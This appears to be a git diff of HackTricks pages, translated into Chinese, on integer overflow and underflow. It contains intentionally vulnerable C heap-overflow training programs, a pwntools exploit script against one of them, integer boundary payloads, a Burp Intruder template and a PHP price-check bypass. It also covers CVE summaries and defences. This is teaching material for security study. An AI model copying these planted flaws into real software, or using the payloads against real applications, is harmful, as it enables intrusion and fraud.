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Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo
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- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
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- [Array Indexing](binary-exploitation/array-indexing.md)
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- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
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- [Integer Overflow](binary-exploitation/integer-overflow.md)
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- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
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- [Format Strings](binary-exploitation/format-strings/README.md)
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- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
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- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
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368
src/binary-exploitation/integer-overflow-and-underflow.md
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src/binary-exploitation/integer-overflow-and-underflow.md
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# Integer Overflow
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{{#include ../banners/hacktricks-training.md}}
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## 基本信息
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在**integer overflow** 的核心是计算机编程中数据类型的**大小**限制以及对数据的**解释**。
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例如，一个**8-bit unsigned integer**可以表示从**0 到 255**的数值。如果你试图把 256 存入一个 8-bit unsigned integer，由于存储容量的限制，它会回绕到 0。类似地，**16-bit unsigned integer**可以表示**0 到 65,535**，对 65,535 加 1 会使值回绕到 0。
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此外，一个**8-bit signed integer**可以表示从**-128 到 127**的数值。这是因为一位用于表示符号（正或负），剩下的 7 位用于表示数值大小。最小的负数表示为 **-128**（二进制 `10000000`），而最大的正数为 **127**（二进制 `01111111`）。
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常见整数类型的取值范围：
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| 类型 | 大小（bits） | 最小值 | 最大值 |
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|----------------|-------------|--------------------|--------------------|
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| int8_t | 8 | -128 | 127 |
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| uint8_t | 8 | 0 | 255 |
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| int16_t | 16 | -32,768 | 32,767 |
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| uint16_t | 16 | 0 | 65,535 |
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| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
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| uint32_t | 32 | 0 | 4,294,967,295 |
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| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
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| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
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在 64 位系统中，short 等价于 `int16_t`，int 等价于 `int32_t`，long 等价于 `int64_t`。
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### 最大值
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对于潜在的 **web vulnerabilities**，了解最大支持值非常重要：
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{{#tabs}}
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{{#tab name="Rust"}}
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```rust
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fn main() {
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let mut quantity = 2147483647;
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let (mul_result, _) = i32::overflowing_mul(32767, quantity);
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let (add_result, _) = i32::overflowing_add(1, quantity);
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println!("{}", mul_result);
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println!("{}", add_result);
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}
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```
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{{#endtab}}
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{{#tab name="C"}}
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```c
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#include <stdio.h>
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#include <limits.h>
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int main() {
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int a = INT_MAX;
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int b = 0;
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int c = 0;
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b = a * 100;
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c = a + 1;
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printf("%d\n", INT_MAX);
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printf("%d\n", b);
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printf("%d\n", c);
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return 0;
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}
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```
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{{#endtab}}
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{{#endtabs}}
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## 示例
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### 纯溢出
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打印结果将是 0，因为我们使 char 溢出：
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```c
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#include <stdio.h>
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int main() {
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unsigned char max = 255; // 8-bit unsigned integer
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unsigned char result = max + 1;
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printf("Result: %d\n", result); // Expected to overflow
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return 0;
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}
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```
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### Signed to Unsigned Conversion
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考虑一种情况：从用户输入读取一个有符号整数，然后在将其视为无符号整数的上下文中使用，且没有进行适当验证：
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```c
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#include <stdio.h>
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int main() {
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int userInput; // Signed integer
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printf("Enter a number: ");
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scanf("%d", &userInput);
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// Treating the signed input as unsigned without validation
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unsigned int processedInput = (unsigned int)userInput;
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// A condition that might not work as intended if userInput is negative
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if (processedInput > 1000) {
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printf("Processed Input is large: %u\n", processedInput);
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} else {
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printf("Processed Input is within range: %u\n", processedInput);
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}
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return 0;
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}
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```
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在这个示例中，如果用户输入一个负数，由于二进制值的解释方式，它会被解释为一个大的无符号整数，可能导致意外行为。
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### macOS 溢出示例
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```c
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#include <stdio.h>
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#include <stdlib.h>
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#include <stdint.h>
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#include <string.h>
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#include <unistd.h>
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/*
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* Realistic integer-overflow → undersized allocation → heap overflow → flag
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* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
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*/
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__attribute__((noinline))
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void win(void) {
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puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
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puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
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exit(0);
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}
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struct session {
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int is_admin; // Target to flip from 0 → 1
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char note[64];
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};
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static size_t read_stdin(void *dst, size_t want) {
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// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
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const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
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size_t got = 0;
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printf("Requested bytes: %zu\n", want);
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while (got < want) {
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size_t remain = want - got;
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size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
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ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
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if (n > 0) {
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got += (size_t)n;
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continue;
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}
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if (n == 0) {
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// EOF – stop; partial reads are fine for our exploit
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break;
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}
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// n < 0: real error (likely EINVAL when chunk too big on some FDs)
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perror("read");
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break;
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}
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return got;
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}
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int main(void) {
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setvbuf(stdout, NULL, _IONBF, 0);
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puts("=== Bundle Importer (training) ===");
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// 1) Read attacker-controlled parameters (use large values)
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size_t count = 0, elem_size = 0;
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printf("Entry count: ");
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if (scanf("%zu", &count) != 1) return 1;
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printf("Entry size: ");
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if (scanf("%zu", &elem_size) != 1) return 1;
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// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
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// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
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uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
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/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
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Then, product32 = 0
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*/
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uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
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printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
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// 3) Allocate a single arena and lay out [buffer][slack][session]
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// This makes adjacency deterministic (no reliance on system malloc order).
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const size_t SLACK = 512;
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size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
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unsigned char *arena = (unsigned char*)malloc(arena_sz);
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if (!arena) { perror("malloc"); return 1; }
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memset(arena, 0, arena_sz);
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unsigned char *buf = arena; // In this buffer the attacker will copy data
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struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
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sess->is_admin = 0;
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strncpy(sess->note, "regular user", sizeof(sess->note)-1);
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printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
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(void*)arena, (void*)buf, alloc32, (void*)sess,
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((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
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// 4) Copy uses native size_t product (no truncation) → It generates an overflow
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size_t to_copy = count * elem_size; // <-- Large size_t
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printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
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puts(">> Send bundle payload on stdin (EOF to finish)...");
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size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
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printf("[dbg] actually read = %zu bytes\n", got);
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// 5) Privileged action gated by a field next to the overflow target
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if (sess->is_admin) {
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puts("[dbg] admin privileges detected");
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win();
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} else {
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puts("[dbg] normal user");
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}
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return 0;
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}
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```
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使用以下命令编译：
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```bash
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clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
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-o int_ovf_heap_priv int_ovf_heap_priv.c
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```
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#### Exploit
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```python
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# exploit.py
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from pwn import *
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# Keep logs readable; switch to "debug" if you want full I/O traces
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context.log_level = "info"
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EXE = "./int_ovf_heap_priv"
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def main():
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# IMPORTANT: use plain pipes, not PTY
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io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
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# 1) Drive the prompts
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io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
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io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
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# 2) Wait until it’s actually reading the payload
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io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
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# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
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payload = b"A" * 48 + p32(1)
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# 4) Send payload, THEN send EOF via half-close on the pipe
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io.send(payload)
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io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
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# 5) Read the rest (should print admin + FLAG)
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print(io.recvall(timeout=5).decode(errors="ignore"))
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if __name__ == "__main__":
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main()
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```
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### macOS Underflow 示例
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```c
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#include <stdio.h>
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#include <stdlib.h>
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#include <stdint.h>
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#include <string.h>
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#include <unistd.h>
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/*
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* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
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* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
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*/
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__attribute__((noinline))
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void win(void) {
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puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
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puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
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exit(0);
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}
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struct session {
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int is_admin; // flip 0 -> 1
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char note[64];
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};
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static size_t read_stdin(void *dst, size_t want) {
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// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
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const size_t MAX_CHUNK = 1 << 20; // 1 MiB
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size_t got = 0;
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printf("[dbg] Requested bytes: %zu\n", want);
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while (got < want) {
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size_t remain = want - got;
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size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
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ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
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if (n > 0) { got += (size_t)n; continue; }
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if (n == 0) break; // EOF: partial read is fine
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perror("read"); break;
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}
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return got;
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}
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int main(void) {
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setvbuf(stdout, NULL, _IONBF, 0);
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puts("=== Packet Importer (UNDERFLOW training) ===");
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size_t total_len = 0;
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printf("Total packet length: ");
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if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
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const size_t HEADER = 16;
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// **BUG**: size_t underflow if total_len < HEADER
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size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
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// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
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printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
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total_len, HEADER, payload_len);
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// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
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const size_t SLACK = 256;
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size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
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unsigned char *arena = (unsigned char*)malloc(arena_sz);
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if (!arena) { perror("malloc"); return 1; }
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memset(arena, 0, arena_sz);
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unsigned char *buf = arena;
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struct session *sess = (struct session*)(arena + total_len + 16);
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// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
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sess->is_admin = 0;
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strncpy(sess->note, "regular user", sizeof(sess->note)-1);
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printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
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(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
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puts(">> Send payload bytes (EOF to finish)...");
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size_t got = read_stdin(buf, payload_len);
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// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
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printf("[dbg] actually read = %zu bytes\n", got);
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if (sess->is_admin) {
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puts("[dbg] admin privileges detected");
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win();
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} else {
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puts("[dbg] normal user");
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}
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return 0;
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}
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```
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使用以下命令编译：
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```bash
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clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
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-o int_underflow_heap int_underflow_heap.c
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```
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### Other Examples
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- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
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- 密码长度只用 1B 存储，因此可以溢出它，使它认为长度为 4，而实际上为 260，从而绕过长度检查保护
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- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
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- 给定几个数字，使用 z3 找出一个新的数字，使得该数字乘以第一个数等于第二个数：
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```
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(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
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```
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- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
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- 密码长度只用 1B 存储，因此可以溢出它，使它认为长度为 4，而实际上为 260，从而绕过长度检查保护并在栈上覆盖下一个局部变量，从而绕过两个保护措施
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## ARM64
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这一点 **doesn't change in ARM64**，正如你可以在 [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) 中看到的。
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{{#include ../banners/hacktricks-training.md}}
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@ -1,115 +0,0 @@
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# 整数溢出
|
||||
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||||
{{#include ../banners/hacktricks-training.md}}
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||||
|
||||
## 基本信息
|
||||
|
||||
在**整数溢出**的核心是计算机编程中数据类型的**大小**所施加的限制和数据的**解释**。
|
||||
|
||||
例如，一个**8位无符号整数**可以表示从**0到255**的值。如果你尝试在8位无符号整数中存储值256，由于其存储容量的限制，它会回绕到0。同样，对于一个**16位无符号整数**，它可以容纳从**0到65,535**的值，将1加到65,535会将值回绕到0。
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此外，一个**8位有符号整数**可以表示从**-128到127**的值。这是因为一个位用于表示符号（正或负），剩下7个位用于表示大小。最小的负数表示为**-128**（二进制`10000000`），最大的正数是**127**（二进制`01111111`）。
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|
||||
### 最大值
|
||||
|
||||
对于潜在的**网络漏洞**，了解最大支持值是非常有趣的：
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## 示例
|
||||
|
||||
### 纯溢出
|
||||
|
||||
打印的结果将是 0，因为我们溢出了 char：
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
考虑一种情况，其中从用户输入读取一个有符号整数，然后在一个将其视为无符号整数的上下文中使用，而没有进行适当的验证：
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
在这个例子中，如果用户输入一个负数，由于二进制值的解释方式，它将被解释为一个大的无符号整数，这可能导致意外行为。
|
||||
|
||||
### 其他示例
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- 仅使用 1B 来存储密码的大小，因此可能会溢出并使其认为长度为 4，而实际上是 260，以绕过长度检查保护
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- 给定几个数字，使用 z3 找出一个新数字，使其与第一个数字相乘得到第二个数字：
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- 仅使用 1B 来存储密码的大小，因此可能会溢出并使其认为长度为 4，而实际上是 260，以绕过长度检查保护并在栈中覆盖下一个局部变量，从而绕过这两种保护
|
||||
|
||||
## ARM64
|
||||
|
||||
这在 ARM64 中**没有变化**，正如你在 [**这篇博客文章**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)中看到的。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -1,38 +1,37 @@
|
||||
# 整数溢出（Web 应用程序）
|
||||
# 整数溢出（Web 应用）
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> 本页面重点介绍如何在 **Web 应用程序和浏览器中滥用整数溢出/截断**。有关本地二进制文件中的利用原语，您可以继续阅读专门的页面：
|
||||
> 本页侧重于说明**如何在 Web 应用和浏览器中滥用整数溢出/截断**。对于本地二进制（native binaries）中的 exploitation primitives，你可以继续阅读专门页面：
|
||||
>
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
>
|
||||
{{#endref}}
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## 1. 为什么整数数学在 Web 上仍然重要
|
||||
## 1. 为什么整数运算在 Web 上仍然重要
|
||||
|
||||
尽管现代堆栈中的大多数业务逻辑是用 *内存安全* 语言编写的，但底层运行时（或第三方库）最终是用 C/C++ 实现的。每当使用用户控制的数字来分配缓冲区、计算偏移量或执行长度检查时，**32 位或 64 位的环绕可能会将一个看似无害的参数转变为越界读/写、逻辑绕过或拒绝服务（DoS）**。
|
||||
尽管现代技术栈的大多数业务逻辑都是用 *memory-safe* 语言编写，但底层运行时（或第三方库）最终仍然由 C/C++ 实现。每当用户可控的数值用于分配缓冲区、计算偏移或执行长度检查时，**32 位或 64 位的环绕（wrap-around）可能会把一个看似无害的参数转变为越界读/写、逻辑绕过或 DoS**。
|
||||
|
||||
典型攻击面：
|
||||
|
||||
1. **数字请求参数** – 经典的 id、偏移量或计数字段。
|
||||
2. **长度/大小头部** – Content-Length、WebSocket 帧长度、HTTP/2 continuation_len 等。
|
||||
3. **服务器端或客户端解析的文件格式元数据** – 图像尺寸、块大小、字体表。
|
||||
4. **语言级转换** – PHP/Go/Rust FFI 中的有符号↔无符号转换，V8 中的 JS Number → int32 截断。
|
||||
5. **身份验证和业务逻辑** – 优惠券值、价格或余额计算静默溢出。
|
||||
1. **Numeric request parameters** – 典型的 id、offset 或 count 字段。
|
||||
2. **Length / size headers** – Content-Length、WebSocket frame length、HTTP/2 continuation_len 等。
|
||||
3. **File-format metadata parsed server-side or client-side** – image dimensions、chunk sizes、font tables。
|
||||
4. **Language-level conversions** – PHP/Go/Rust FFI 中的 signed↔unsigned casts，JS Number → int32 在 V8 内部的截断。
|
||||
5. **Authentication & business logic** – 优惠券值、价格或余额计算在无提示情况下溢出。
|
||||
|
||||
---
|
||||
|
||||
## 2. 最近的现实世界漏洞（2023-2025）
|
||||
## 2. 最近的真实世界漏洞（2023-2025）
|
||||
|
||||
| 年份 | 组件 | 根本原因 | 影响 |
|
||||
| Year | Component | Root cause | Impact |
|
||||
|------|-----------|-----------|--------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | 计算解码像素大小时的 32 位乘法溢出 | 触发了 Chrome 0-day（iOS 上的 BLASTPASS），允许在渲染器沙箱内 *远程代码执行*。 |
|
||||
| 2024 | **V8 – CVE-2024-0519** | 在增长 JSArray 时截断为 32 位导致对后备存储的越界写入 | 单次访问后远程代码执行。 |
|
||||
| 2025 | **Apollo GraphQL 服务器**（未发布补丁） | 用于第一页/最后一页分页参数的 32 位有符号整数；负值环绕到巨大的正值 | 逻辑绕过和内存耗尽（DoS）。 |
|
||||
| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Triggered a Chrome 0-day (BLASTPASS on iOS), allowed *remote code execution* inside the renderer sandbox. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit. |
|
||||
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). |
|
||||
|
||||
---
|
||||
|
||||
@ -40,7 +39,7 @@
|
||||
|
||||
### 3.1 边界值备忘单
|
||||
|
||||
在期望整数的地方发送 **极端的有符号/无符号值**：
|
||||
在任何期望整数的位置发送 **极端的有符号/无符号值**：
|
||||
```
|
||||
-1, 0, 1,
|
||||
127, 128, 255, 256,
|
||||
@ -50,27 +49,27 @@
|
||||
0x7fffffff, 0x80000000, 0xffffffff
|
||||
```
|
||||
其他有用的格式：
|
||||
* 十六进制 (0x100)，八进制 (0377)，科学计数法 (1e10)，JSON 大整数 (9999999999999999999)。
|
||||
* 非常长的数字字符串 (>1kB) 以触发自定义解析器。
|
||||
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
|
||||
* 非常长的数字字符串 (>1kB) 用于触发自定义解析器。
|
||||
|
||||
### 3.2 Burp Intruder 模板
|
||||
### 3.2 Burp Intruder template
|
||||
```
|
||||
§INTEGER§
|
||||
Payload type: Numbers
|
||||
From: -10 To: 4294967300 Step: 1
|
||||
Pad to length: 10, Enable hex prefix 0x
|
||||
```
|
||||
### 3.3 模糊测试库和运行时
|
||||
### 3.3 Fuzzing libraries & runtimes
|
||||
|
||||
* **AFL++/Honggfuzz** 与 libFuzzer 结合使用，围绕解析器（例如，WebP、PNG、protobuf）。
|
||||
* **Fuzzilli** – 语法感知的 JavaScript 引擎模糊测试，以触及 V8/JSC 整数截断。
|
||||
* **boofuzz** – 网络协议模糊测试（WebSocket、HTTP/2），重点关注长度字段。
|
||||
* **AFL++/Honggfuzz** 使用 libFuzzer harness 围绕解析器（例如 WebP、PNG、protobuf）。
|
||||
* **Fuzzilli** – 基于语法的 fuzzing JavaScript 引擎，以触发 V8/JSC 的整数截断。
|
||||
* **boofuzz** – 网络协议 fuzzing（WebSocket、HTTP/2），聚焦长度字段。
|
||||
|
||||
---
|
||||
|
||||
## 4. 利用模式
|
||||
## 4. Exploitation patterns
|
||||
|
||||
### 4.1 服务器端代码中的逻辑绕过（PHP 示例）
|
||||
### 4.1 Logic bypass in server-side code (PHP example)
|
||||
```php
|
||||
$price = (int)$_POST['price']; // expecting cents (0-10000)
|
||||
$total = $price * 100; // ← 32-bit overflow possible
|
||||
@ -79,28 +78,30 @@ die('Too expensive');
|
||||
}
|
||||
/* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
|
||||
```
|
||||
### 4.2 通过图像解码器的堆溢出 (libwebp 0-day)
|
||||
WebP 无损解码器在 32 位整数内将图像宽度 × 高度 × 4 (RGBA) 相乘。一个尺寸为 16384 × 16384 的精心制作的文件会导致乘法溢出，分配一个短缓冲区，并随后将 **~1GB** 的解压数据写入堆中 – 导致在 116.0.5845.187 之前的每个基于 Chromium 的浏览器中发生 RCE。
|
||||
### 4.2 Heap overflow via image decoder (libwebp 0-day)
|
||||
WebP 无损解码器在 32-bit int 中将 image width × height × 4 (RGBA) 相乘。一个尺寸为 16384 × 16384 的精心构造文件会使乘法溢出，分配一个较小的缓冲区，并随后将 **~1GB** 的解压数据写出堆边界，导致在 116.0.5845.187 之前的所有 Chromium-based 浏览器出现 RCE。
|
||||
|
||||
### 4.3 基于浏览器的 XSS/RCE 链
|
||||
1. **整数溢出** 在 V8 中提供任意读/写。
|
||||
2. 通过第二个漏洞逃逸沙箱或调用本地 API 以投放有效载荷。
|
||||
3. 有效载荷随后将恶意脚本注入原始上下文 → 存储的 XSS。
|
||||
1. **Integer overflow** in V8 gives arbitrary read/write.
|
||||
2. 通过第二个漏洞越出沙箱，或调用本地 API 来 drop a payload。
|
||||
3. 然后 payload 将恶意脚本注入 origin context → 造成 stored XSS。
|
||||
|
||||
---
|
||||
|
||||
## 5. 防御指南
|
||||
|
||||
1. **使用宽类型或检查数学** – 例如，size_t、Rust checked_add、Go math/bits.Add64。
|
||||
2. **尽早验证范围**：在算术运算之前拒绝任何超出业务范围的值。
|
||||
3. **启用编译器消毒器**：-fsanitize=integer, UBSan, Go race detector。
|
||||
4. **在 CI/CD 中采用模糊测试** – 将覆盖反馈与边界语料库结合。
|
||||
5. **保持补丁更新** – 浏览器整数溢出漏洞通常在几周内被利用。
|
||||
1. **Use wide types or checked math** – 例如 size_t、Rust 的 checked_add、Go 的 math/bits.Add64。
|
||||
2. **Validate ranges early**：在算术运算前拒绝任何超出业务域的值。
|
||||
3. **Enable compiler sanitizers**：-fsanitize=integer、UBSan、Go race detector。
|
||||
4. **Adopt fuzzing in CI/CD** – 将覆盖率反馈与边界语料结合。
|
||||
5. **Stay patched** – 浏览器中的 integer overflow 漏洞常在数周内被 weaponised。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [NVD CVE-2023-4863 – libwebp 堆缓冲区溢出](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
* [Google Project Zero – "理解 V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
|
||||
|
||||
## References
|
||||
|
||||
* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
* [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user